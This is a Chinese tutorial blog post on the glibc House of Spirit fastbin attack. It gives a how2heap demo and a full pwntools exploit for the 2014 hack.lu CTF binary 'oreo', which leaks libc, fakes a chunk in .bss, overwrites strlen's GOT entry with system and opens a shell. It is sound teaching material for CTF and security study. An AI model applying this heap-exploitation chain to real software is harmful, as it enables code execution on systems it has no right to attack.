好好说话之Fastbin Attack(2):House Of Spirit

本文详细介绍了HouseOfSpirit这种FastbinAttack的攻击方式,它是doublefree的升级版,涉及如何伪造chunk并在内存中合理布局以绕过系统检查。文章通过一个简化实例展示了如何构造和释放fake_chunk,以及如何利用这种技术实现内存控制,最终可能获取shell。文章还分析了一道2014年hack.lu的题目,展示了在实际场景中应用HouseOfSpirit的步骤,包括泄露函数地址、伪造chunk、绕过检查和利用got表进行攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Fastbin Attack的第二种攻击方式House Of Spirit,相对来说是double free的升华。在检查绕过的时候会相对麻烦一点,其他的地方还是挺简单的,如果上一篇文上你领悟的很好的话,这篇文章也不会很难理解。

编写不易,如果能够帮助到你,希望能够点赞收藏加关注哦Thanks♪(・ω・)ノ

往期回顾:
好好说话之Fastbin Attack(1):Fastbin Double Free
好好说话之Use After Free
好好说话之unlink
好好说话之Chunk Extend/Overlapping

House Of Spirit

简单的介绍一下,House of Spirit这种技术的核心在于在目标位置处伪造fastbin chunk,并将其释放,从而达到分配指定地址的chunk的目的

House Of Spirit和fastbin double free有一个非常大的区别,fastbin double free所释放的chunk是本身程序自己malloc产生的,但是house of spirit是去释放指定地址的chunk。那么这个chunk我们可以通过伪造的方式构建,他可以是任意可写地址。但这就产生了一个问题,我们在释放这个伪造的chunk的时候他是不能够直接挂进fastbin单向链表中的,就如同A向B捐献心脏(献出你的心脏巨人乱入 ),B会产生器官排斥一样。这是因为你在释放时,需要经过一些检查,去判断该释放的chunk是否为程序自身创建的。那么我们需要做的就是绕过这些检查:

1、fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理

IS_MAPPED,记录当前 chunk 是否是由 mmap 分配的,这个标志位位于size低二比特位

2、fake chunk 地址需要对齐, MALLOC_ALIGN_MASK

因为fake_chunk可以在任意可写位置构造,这里对齐指的是地址上的对齐而不仅仅是内存对齐,比如32位程序的话fake_chunk的prev_size所在地址就应该位0xXXXX00xXXXX4。64位的话地址就应该在0xXXXX00xXXXX8

3、fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐

fake_chunk如果想挂进fastbin的话构造的大小就不能大于0x80,关于对齐和上面一样,并且在确定prev_size的位置后size所在位置要满足堆块结构的摆放位置

4、fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem

fake_chunk 的大小,大小必须是 2 * SIZE_SZ 的整数倍。如果申请的内存大小不是 2 * SIZE_SZ 的整数倍,会被转换满足大小的最小的 2 * SIZE_SZ 的倍数。32 位系统中,SIZE_SZ 是 4;64 位系统中,SIZE_SZ 是 8。最大不能超过av->system_mem,即128kb。next_chunk的大小一般我们会设置成为一个超过fastbin最大的范围的一个数,但要小雨128kb,这样做的目的是在chunk连续释放的时候,能够保证伪造的chunk在释放后能够挂在fastbin中main_arena的前面,这样以来我们再一次申请伪造chunk大小的块时可以直接重启伪造chunk

5、fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况

这个检查就是fake_chunk前一个释放块不能是fake_chunk本身,如果是的话_int_free函数就会检查出来并且中断。可以参考篇文章好好说话之Fastbin Attack(1):Fastbin Double Free

演示

这里使用how2heap上的例子进行说明,我做了一些简化:

  1 //gcc -g hollk1.c -o hollk1
  2 #include <stdio.h>
  3 #include <stdlib.h>
  4 
  5 int main()
  6 {
  7     malloc(1);
  8     unsigned long long *a;
  9     unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
 10     fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_c    hunks[1], &fake_chunks[7]);
 11     fake_chunks[1] = 0x40; // this is the size
 12     fake_chunks[9] = 0x1234; // nextsize
 13     fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
 14     a = &fake_chunks[2];
 15     fprintf(stderr,"%p\n",&a); //自己加的
 16     free(a);
 17     fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
 18     fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
 19     puts("hollk"); //为了下断点调试,加了个puts函数
 20 }

简单的讲一下这个例子的流程,首先malloc(1)创建了一个0x1大小的chunk。接着定义了一个long long类型的指针a,和一个long long类型的数组fake_chunks[10],需要注意的是后面的__attribute__ ((aligned (16))),此属性指定了指定类型的变量的最小对齐(以字节为单位)。如果结构中有成员的长度大于16,则按照最大成员的长度来对齐,关于__attribute__ ((aligned (16)))的常用方法,可以参考这篇文章。接下来将数组下标为1的位置放入数据0x40,数组下标为9的位置放入数据0x1234。接着打印了数组下标为1位置的地址,将数组下标为2的地址赋给a指针,并释放a指针。接着打印出数组下标为1和2两处位置的地址,最后重新申请一个大小为0x30的chunk

我们虽然走了一遍流程,但是其中的细节还是需要在内存中清楚的看到,因为在使用gcc编译的时候使用-g参数,所以我们在首先在第11行下断点b 11,使程序创建好a指针和fake_chunks数组,并查看一下fake_chunks数组的地址:

在这里插入图片描述
可以看到输出的fake_chunks[1]的地址为0x7fffffffdf88,那么fake_chunks的起始地址就为0x7fffffffdf80,我们去这个起始地址看一下:

在这里插入图片描述
接下来我们在第13行下断点,将0x400x1234分别写进fake_chunks[1]和fake_chunks[9]的位置。并且在看一下里面的部署情况:

在这里插入图片描述

可以看到fake_chunks[1]的位置被覆盖为乐0x40,fake_chunk[9]的位置变为了0x1234。改变这两个位置的作用是什么呢?这里其实实在伪造一个假的chunk,0x7fffffffdf80位置作为chunk的prev_size,0x7fffffffdf88位置的的0x40作为chunk的size位。这里需要注意的是,这里为什么被写成0x40,因为前面我们讲当一个chunk被释放后如果想要挂进fastbin中需要满足5条检查规则,那么0x40满足一下两点:

  • fake chunk 的 ISMMAP 位不能为 1
  • fake chunk 地址需要对齐
  • fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐

0x7fffffffdf90 ~0x7fffffffdfb8这段区域就用作fake_chunk的data区域,正好是0x30,那么在fake_chunks[9]位置放置0x1234,这里其实是作为next_chunk的size位,这里也满足了检查中的:

  • fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem

加下来我们在第16行下断点,这里完成了对a指针的赋值,会将fake_chunk[2]的地址赋给a指针变量,这里的fake_chunk[2]其实对应的就是伪造块的data指针,在打印后看一下a指针的地址:

在这里插入图片描述
这里其实就是伪造块的前一个地址位宽位置,去这里看一下:

在这里插入图片描述

可以看到在0x7fffffffdf78中存放的就是伪造chunk的data指针,接下来将断点下在第18行,释放a并打印出fake_chunks[1]和fake_chunks[2],我们查看一下bin中的情况:
在这里插入图片描述

这样一来,虽然fake_chunk并不是由malloc直接申请的,但是由于符合挂进fastbin的检查,所以在释放之后可以直接挂进fastbin中。接下来将断点下在第19行,我们重新申请一个0x30大小的chunk:

在这里插入图片描述

重新看fastbin,可以看出fake_chunk经过这一次申请之后被重新启用了

我们在进入堆以来最后能够拿shell或者拿flag的方法大部分是使用hook技术或者修改got表,就House Of Spirit这种技术而言,如果我们在任意可写位置伪造chunk,并事先部署好free函数的got地址,再通过泄漏的方式得到system()函数和“/bin/sh”字符串地址。接着使用House Of Spirit将伪造chunk释放重启,接着将伪造chunk中的free()函数真是地址修改成system()函数地址,这样一来我们在释放某一个chunk的时候,不输入chunk的id,而是输入“/bin/sh”就可以直接拿shell了

例题:2014 hack.lu oreo

检查保护

老规矩首先查看一下程序的保护机制:

在这里插入图片描述

可以看到这是一个32位的程序,只开启了canary保护和NX保护。并没有限制got表可写(堆溢出的套路摸清了吗😜)

静态分析

又是锻炼分析的好机会!

主函数

在这里插入图片描述

进入主函授首先看到的就是绿色框三个为定义的全局变量,虽然现在看起来没什么用处,但是后面在malloc申请或释放的时候肯定会用到,老堆溢出了嘛。接下来会有一个没有命名的sub_804898D()函数,可以看中间的红色框展开。这里才更像是主函数的样子,在switch中存在一个sub_8048896()函数,可以看右面的蓝色框展开,这就是一个输入并判断输入是否合法的函数。我们回到红色框,可以看到一排交互提示:在输入1时执行sub_8048644()函数添加枪支,在输入2时执行sub_8048729()函数显示已添加的枪支,在输入3时执行sub_8048810()函数订购枪支,在输入4时执行sub_80487B4()函数对订单进行留言,在输入5时执行sub_8048906()函数显示当前状态

添加枪支:sub_8048644()函数

在这里插入图片描述

简单的讲一些这个函数的执行流程,首先将全局变量中的值赋给v1,dowrd_804A288是一个新的全局变量,接着申请了一个大小为0x38的chunk,并且将该chunk的malloc指针放在了dowrd_804A288全局变量中。接下来判断chunk是否创建成功,如果成功则将v1变量中的malloc指针放在malloc指针+13个地址位宽后的位置。接下来打印提示输入枪支名称,通过fgets函数接收输入的值并存放在malloc指针+25个字节后的位置,输入的字符最多为56个字节。然后调用了sub_8048A288()函数,可以看右下绿色框中的展开,这里就是一个输入校验的功能。接下来提示打印提示输入枪支说明,依然还是使用fgets函数接收输入的内容,并将输入的内容存放在malloc指针的起始位置,输入的字符最多为56个字节。再一次校验之后dword_804A2A4全局变量自加,这个全局变量有点像是个计数的

在解读完流程后,可以看到这个添加的功能挺有意思的,他并没有单独的去构建一个标准的结构体,而是使用这种偏移的方式将不同的输入数据放在不同的地方,当然也可以当作一个结构体来看待。那么malloc申请的chunk中首先摆在最前面的就应该是枪支的说明,然后是枪支名称,最后还会添加前一个枪支的malloc地址,我画出结构体看一下:

在这里插入图片描述

这里需要注意的有三个点:

  • dowrd_804A288这个全局变量中存放的是申请的malloc指针,但是这个malloc指针并没有按照任何的结构进行摆放,而是每新申请一个chunk,他的上一个申请的malloc指针就会被覆盖为新的malloc指针,所以dowrd_804A288全局变量中只会存在一个chunk的malloc指针,即最后一次申请的malloc指针
  • 在名字结尾追加的前一个chunk的malloc地址,他的作用其实是为了将申请的多个chunk串联起来,如何串联起来的后面会提到
  • dword_804A2A4全局变量有计数功能,记录的是已申请的chunk的数量

在我们解读完整个流程过后,仔细的分析一下,其实这里是存在堆溢出的。我们已经分析出枪支的结构体中,成员变量rifle_name的最大长度为27个字节,成员变量rifle_dec的最大长度为25个字节,但是在代码中使用fgets(dword_804A288 + 25, 56, stdin);这个函数在接收输入字符串的时候允许最大输入长度为56个字节,这就导致了我们输入的字符串会冲出成员变量长度的限制,导致数据会溢出到其他成员变量位置或者其他chunk中

我们将程序运行起来,并执行添加操作,通过对数据输入与输出的回显写出自动化代码:

在这里插入图片描述

显示已添加的枪支:sub_8048729()函数

在这里插入图片描述

简单的解释一下这个流程,dword_804A288这个全局变量里面存放的是最后一个申请的chunk的malloc地址。所以在循环起始指针变量i就是chunk的malloc地址,那么i的位置就是枪支的说明i + 25的位置就是枪支的名称。再一次循环结束后会进行(char *)*((_DOWRD *)i + 13)的操作,这里会正好指向结尾处前一个chunk的malloc指针。也就是说sub_8048729()函数会一次性将所有创建的枪支信息全部打出来。

我们将程序运行起来,并执行添加操作,通过对数据输入与输出的回显写出自动化代码:

在这里插入图片描述

订购枪支:sub_8048810()函数

在这里插入图片描述

简单的说一下这个函数好的流程,首先将dword_804A288全局变量中的malloc指针赋值给v2指针变量,接着判断dword_804A2A4全局变量中是否还有以创建的chunk(根据chunk数量判断)。接着进入循环,如果v2得到了malloc指针,那么再次将malloc指针移赋给ptr指针变量,并将上一个chunk的malloc指针赋给v2指针变量,最后释放ptr中的malloc指针。这样一直循环下来,直到将所有已创建的chunk释放掉则跳出循环。接着将dword_804A288全局变量中的malloc指针置空,将dword_804A2A0全局变量自身累加,这里主要目的同样是为了记录提交的次数。总的来说sub_8048810()函数与其说是提交订单功能,不如说是一个释放chunk的功能

在讲完流程之后我们仔细分析一下其中的逻辑,这里需要注意的是循环释放这一部分,在ptr指针变量每一次在释放之后都会被v2变量重新复制,但是最后一次被释放之后其实ptr并没有被置空,这就造成了一个非常经典的dangling pointer,也就是说被释放的chunk其实是可以有机会被重新启用的。dangling pointer形成的原因可以参考前面好好说话之Use After Free这篇文章

我们将程序运行起来,并执行添加操作,通过对数据输入与输出的回显写出自动化代码:

在这里插入图片描述

对订单进行留言:sub_80487B4()函数

在这里插入图片描述
这个功能就很简单了,会将外部输入的留言字符串存放某个地址中,dword_804A2A8全局变量中存放的就是这个地址,输入的最大字符串长度为128个字节。接着调用sub_80485EC()函数进行输入检查

我们将程序运行起来,并执行添加操作,通过对数据输入与输出的回显写出自动化代码:

在这里插入图片描述

思路分析及动态调试

经过我们前面的静态分析,现在可以公开的情报为:

  • 枪支创建具有结构体,成员变量分别为rifle_dec(25字节)、rifle_name(27字节)、malloc_point(4字节),结构体size为0x40
  • 在添加枪支功能中存在堆溢出漏洞,输入的name或dec的字符串可以对其他成员变量或后面的chunk进行覆盖
  • 在显示枪支信息功能中,会将所有被创建的chunk信息打印出来
  • 在订单提交功能中,释放chunk后存在dangling pointer
  • dowrd_804A288全局变量:内部存储最后一个被创建的chunk的malloc指针
  • dword_804A2A4全局变量:每有一个chunk被创建,dword_804A2A4就会自加1
  • dword_804A2A8全局变量:可以进行留言,内部有128个字节的存储空间

泄漏system()函数地址以及/bin/sh字符串地址

使用gdb打开程序,我们运行起来看一看创建两个枪支后内存的布局(由于这道题没有进行setbuf,所以会有oi缓存的情况,相似情况可以参考前面好好说话之unlink这篇文章):

在这里插入图片描述

可以看到和我们前面分析一样,枪之后的结构体分布,以及chunk2结尾4字节存储的是chunk1的malloc指针。由于chunk1前面没有我们创建的chunk了,所以chunk2结尾4字节是空。那么我们去想,在显示枪支信息功能中,它会循环打印出每个chunk的信息,这是由(char *)*((_DOWRD *)i + 13)这段代码造成的,每一次都会调用chunk结尾的前一个chunk的malloc指针

在这里插入图片描述

那么这有什么用处呢?我们在前面分析出在创建chunk的时候是存在堆溢出的,因为rifle_name成员变量和chunk_point成员变量是相邻的,如果我们在rifle_name这个成员变量中进行溢出,将某个函数的got地址覆盖到chunk_point的位置,那么在打印的时候就会变成下面这个样子:

在这里插入图片描述

这样一来在打印chunk2或者chunk1的时候就会连同函数的真实地址一同打印出来,在我们拿到某个函数的真实地址后,就可以通过pwntools在libc中寻找system()函数地址与/bin/sh字符串地址了。这里我们选用puts函数,构建的payload如下:

payload = 'hollk' + 22 * 'b' + p32(oreo.got['puts'])

使用前面静态分析阶段编写的add()函数以及show_rifle()函数与程序进行交互,再使用pwntools自带的功能进行搜索:

name = 'hollk' + 22 * 'b' + p32(oreo.got['puts'])
add(25 * 'a', name)
show_rifle()
hollk.recvuntil('===================================\n')
hollk.recvuntil('Description: ')
puts_addr = u32(hollk.recvuntil('\n', drop=True)[:4])
log.success('puts addr: ' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search('/bin/sh'))

可以得到system_addr = 0xf7e58da0,binsh_addr = 0xf7f79a0b

伪造块位置

在得到了system()函数地址和/bin/sh字符串地址之后,我们需要考虑的就是如何去将某个函数的got中的的函数替换成system()函数的地址了,这就用到老方法:伪造chunk。接下来就需要去选择伪造chunk应该放在哪个位置。其实我们前面还有一个点没有利用上,就是每创建一个chunk,dword_804A2A4全局变量就会增加1。我们创建两个枪支去看一下0x804A2A4中的变化:

在这里插入图片描述

在创建两个枪支后可以看到0x804A2A4中的数值变为了2,也就是说这里的数值我们是变相可以控制的,0x804A2A4完全可以作为fake_chunk的size,那么0x804A2A0就可以作为fake_chunk的prev_size,0x804A2A8就可以作为fake_chunk的data的malloc地址。由于这道题不能让我们自定义创建chunk的大小,只能由程序创建0x40大小的chunk,所以如果想要在释放这个fake_chunk后可以重新启用伪造chunk,那么我们只能使0x804A2A4中的数值变0x40,即需要申请0x40个chunk。

那么如果想要fake_chunk跟着其他chunk一起被释放,那么第0x3f个chunk的结尾成员变量chunk_point指针就要指向0x804A2A8,即fake_chunk的malloc地址,具体创建0x40个chunk的操作如下:

oifle = 1
while oifle < 0x3f:
    add(25 * 'a', 'a' * 27 + p32(0)) #循环创建0x3f个工具块
    oifle += 1
payload = 'a' * 27 + p32(0x0804a2a8) #第0x40个工具块的结尾成员变量chunk_point指针指向fake_chunk的malloc地址
add(25 * 'a', payload)

伪造块绕过检查

那么size的问题解决了,接下来就是伪造chunk的后一个释放chunk对于伪造chunk的检查了:

  • 伪造chunk的size大小为0x40,所以从0x804A2A8到0x804A2D8共0x30的空间都应该归属于伪造chunk,因此fake_chunk的后一个chunk的prev_size地址就应该为0x804a2e0
  • 如果我们想在释放fake_chunk之后立刻就可以申请重新启用,那么后一个chunk的大小就应该大于fastbin的最大范围0x40(32位程序),这样在释放后fake_chunk就可以直接挂在fastbin中main_arena之前,那么这里可以将后一个chunk的size设置为0x100
  • 由于后一个chunk的size大小超过的fastbin的最大值,那么后一个chunk的prev_size就需要标识前一个释放块fake_chunk的size,并且prev_inuse位要标志位0,即0x40。具体原因请参考前面好好说话之Chunk Extend/Overlapping中的内容

最后呈现出来的结构如下图:

在这里插入图片描述

那接下来考虑的就是如何去部署上面这个结构,其实我们伪造的fake_chunk的malloc地址位置恰好是留言的指针。在留言功能中,我们输入的字符串会存放dword_804A2A8全局变量所指向的地址当中,dword_804A2A8全局变量的地址为0x804A2A8,我们可以看下图0x804A2A8的位置存放的是留言指针0x804a2c0,也就是说我们输入的字符串是从0x804a2c0开始存放的

在这里插入图片描述

那么这样以来去除0x804A2A8到0x804A2B8中的24个字节,还需要空出0x20个字节的空间留给fake_chunk,接下来的结构就和前面图中一样了

#0x20 * '\x00'用来空出fake_chunk的空间
#p32(0x40)作为next_chunk的prev_size
#p32(0x100)作为next_chunk的size
payload = 0x20 * '\x00' + p32(0x40) + p32(0x100)
payload = payload.ljust(52, 'b')
payload += p32(0)
payload = payload.ljust(128, 'c')
message(payload)

修改got地址

在部署好上述一系列准备之后,我们就可以直接调用提交订单功能,将我们伪造的fake_chunk释放掉,在释放后我们看下图:

在这里插入图片描述

可以看到虽然伪造的fake_chunk并不是由程序本身malloc来的,他也不是在内存中的,但是通过对各种验证的绕过,使得我们伪造在bss段的fake_chunk被int_free函数承认,并挂进fastbin单向链表。当我们再次申请的时候main_arena指向的fake_chunk就会被重新启用。那么这样以来我们就可以通过创建的阶段部署got地址。这里我们选取strlen()函数,将strlen()函数got地址放在chunk_desc成员变量的位置:

payload = p32(oreo.got['strlen']).ljust(20, 'a')

那么这样一来重新申请的chunk就会是下面这样:

在这里插入图片描述

这里需要注意的是0x804A2A8的位置是留言指针,此时被覆盖成了strlen_got地址,所以我们再一次去留言的时候实际上是向strlen_got地址中写数据。那么接下来我们使用修改功能。payload如下:

p32(system_addr) + ';/bin/sh\x00'

那么这样以来通过message函数写的时候,首先strlen()函数本身的真实地址就会被system()函数的真实地址所覆盖。后面输入的’;/bin/sh\x00’就会被strlen()函数计数,理论上来说是strlen(/bin/sh),但是实际上是system(/bin/sh),也就是说可以拿shell了!!!

EXP

 from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
    context.log_level = 'debug'
context.binary = "./test"
oreo = ELF("./test")
if args['REMOTE']:
    hollk = remote(ip, port)
else:
    hollk = process("./test")
log.info('PID: ' + str(proc.pidof(hollk)[0]))
libc = ELF('./libc.so.6')

def add(descrip, name):
    hollk.sendline('1')
    hollk.sendline(name)
    hollk.sendline(descrip)

def show_rifle():
    hollk.sendline('2')
    hollk.recvuntil('===================================\n')

def order():
    hollk.sendline('3')

def message(notice):
    hollk.sendline('4')
    hollk.sendline(notice)

def exp():
    name = 27 * 'b' + p32(oreo.got['puts'])
    add(25 * 'a', name)
    show_rifle()
    hollk.recvuntil('===================================\n')
    hollk.recvuntil('Description: ')
    puts_addr = u32(hollk.recvuntil('\n', drop=True)[:4])
    log.success('puts addr: ' + hex(puts_addr))
    libc_base = puts_addr - libc.symbols['puts']
    system_addr = libc_base + libc.symbols['system']
    binsh_addr = libc_base + next(libc.search('/bin/sh'))
    print hex(system_addr)
    print hex(binsh_addr)
    
    oifle = 1
    while oifle < 0x3f:
        add(25 * 'a', 'a' * 27 + p32(0))
        oifle += 1
    payload = 'a' * 27 + p32(0x0804a2a8)
    add(25 * 'a', payload)

    payload = 0x20 * '\x00' + p32(0x40) + p32(0x100)
    payload = payload.ljust(52, 'b')
    payload += p32(0)
    payload = payload.ljust(128, 'c')
    message(payload)
    order()

    payload = p32(oreo.got['strlen']).ljust(20, 'a')
    add(payload, 'b' * 20)
    gdb.attach(hollk)
    log.success('system addr: ' + hex(system_addr))
    #gdb.attach(p)
    message(p32(system_addr) + ';/bin/sh\x00')

    hollk.interactive()

if __name__ == "__main__":
    exp()

结果如下:

在这里插入图片描述

在这里插入图片描述

评论 16
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

hollk

要不赏点?

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值